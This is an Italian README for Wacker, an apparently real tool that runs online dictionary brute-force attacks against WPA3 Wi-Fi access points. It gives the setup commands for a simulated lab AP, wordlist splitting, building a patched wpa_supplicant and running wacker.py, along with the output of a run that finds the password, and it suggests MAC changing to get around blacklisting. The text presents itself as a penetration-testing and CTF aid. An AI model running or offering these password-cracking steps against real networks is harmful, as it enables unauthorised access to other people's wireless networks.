
Un cracker di dizionario per WPA3
Una serie di script per facilitare un attacco a dizionario online contro un punto di accesso WPA3. Wacker sfrutta l'interfaccia di controllo di wpa_supplicant per gestire le operazioni del demone supplicant e ottenere informazioni di stato e notifiche di eventi, contribuendo infine ad accelerare i tentativi di connessione durante gli attacchi di forza bruta.
In mancanza di un AP WPA3 per i test, considera di impostare un ambiente locale utilizzando mac80211_hwsim (dettagli sotto) o utilizzando le VM fornite da RF Hackers Sanctuary (scoreboard.rfhackers.com).
Per impostare il tuo simulatore software di radio 802.11, configura e carica semplicemente il modulo mac80211_hwsim corretto.
# modprobe mac80211_hwsim radios=4
# iwconfig
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan1 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan2 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan3 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
Scegli una delle nuove interfacce come punto di accesso WPA3 e usa il seguente file di configurazione.
# cat hostapd.conf
interface=wlan0
ssid=WCTF_18
driver=nl80211
hw_mode=g
channel=1
logger_syslog=-1
logger_syslog_level=3
wpa=2
wpa_passphrase=Aeromechanics
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
ieee80211w=2
group_mgmt_cipher=AES-128-CMAC
E avvia hostapd con
# hostapd -K -dd hostapd.conf
Se hai intenzione di distribuire i tuoi sforzi di cracking su una serie di schede di rete, lo script split.sh fornito partizionerà una wordlist per te.
# ./split.sh 10 cyberpunk.words
50916 cyberpunk.words.aaa
50916 cyberpunk.words.aab
50916 cyberpunk.words.aac
50916 cyberpunk.words.aad
50916 cyberpunk.words.aae
50916 cyberpunk.words.aaf
50916 cyberpunk.words.aag
50916 cyberpunk.words.aah
50916 cyberpunk.words.aai
50907 cyberpunk.words.aaj
509151 total
Forniamo il nostro wpa_supplicant per garantire che siano impostate determinate configurazioni, oltre ad alcune modifiche necessarie all'interno del codice sorgente stesso.
# apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
# cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
# git apply wpa_supplicant.patch
# cd wpa_supplicant-2.10/wpa_supplicant
# make -j4
# ls -al wpa_supplicant
-rwxr-xr-x 1 root root 13541416 May 31 16:30 wpa_supplicant
È richiesto python3.6+
Wacker dovrebbe essere considerato uno strumento complementare ad airodump o kismet, dove la selezione del bersaglio è già stata effettuata. Wacker disabilita intenzionalmente la scansione in background con wpa_supplicant per accelerare i tentativi di autenticazione.
Lo script wacker.py è progettato per svolgere tutto il lavoro pesante e richiede alcuni dettagli specifici sul bersaglio.
# ./wacker.py --help
usage: wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID
--ssid SSID --freq FREQ [--start START_WORD] [--debug]
A WPA3 dictionary cracker. Must run as root!
optional arguments:
-h, --help show this help message and exit
--wordlist WORDLIST wordlist to use
--interface INTERFACE
interface to use
--bssid BSSID bssid of the target
--ssid SSID the ssid of the WPA3 AP
--freq FREQ frequency of the ap
--start START_WORD word to start with in the wordlist
--debug increase logging output
Con un po' di fortuna... eseguendo l'attacco con una sola istanza...
# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
Start time: 21 Aug 2020 07:40:11
Starting wpa_supplicant...
5795 / 509151 words (1.14%) : 79.41 words/sec : 0.020 hours lapsed : 1.76 hours to exhaust (21 Aug 2020 09:25:49)
Found the password: 'Aeromechanics'
Stop time: 21 Aug 2020 07:41:24
Eseguire più istanze di wacker è facile se hai schede di rete di riserva. Non dimenticare di partizionare la wordlist.
# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3 --freq 2412
wacker è piuttosto verboso. I file di interesse si trovano sotto /tmp/wacker/
wacker non gestisce le ACL messe in atto dall'AP WPA3 di destinazione. Ciò significa che il codice corrente utilizza sempre lo stesso indirizzo MAC. Se l'AP di destinazione inserisce nella lista nera il nostro indirizzo MAC, lo script non distinguerà tra un vero fallimento di autenticazione e il nostro MAC bloccato. Questo comporterà che considereremo la vera password come un fallimento. Un modo per risolvere... dovremmo aggiungere macchanger al codice sorgente, a scapito di un rallentamento.
u631_3: WPA: AP group 0x10 network profile group 0x18; available group 0x10
u631_3: WPA: using GTK CCMP
u631_3: WPA: AP pairwise 0x10 network profile pairwise 0x18; available pairwise 0x10
u631_3: WPA: using PTK CCMP
u631_3: WPA: AP key_mgmt 0x400 network profile key_mgmt 0x400; available key_mgmt 0x400
u631_3: WPA: Failed to select authenticated key management type
u631_3: WPA: Failed to set WPA key management and encryption suites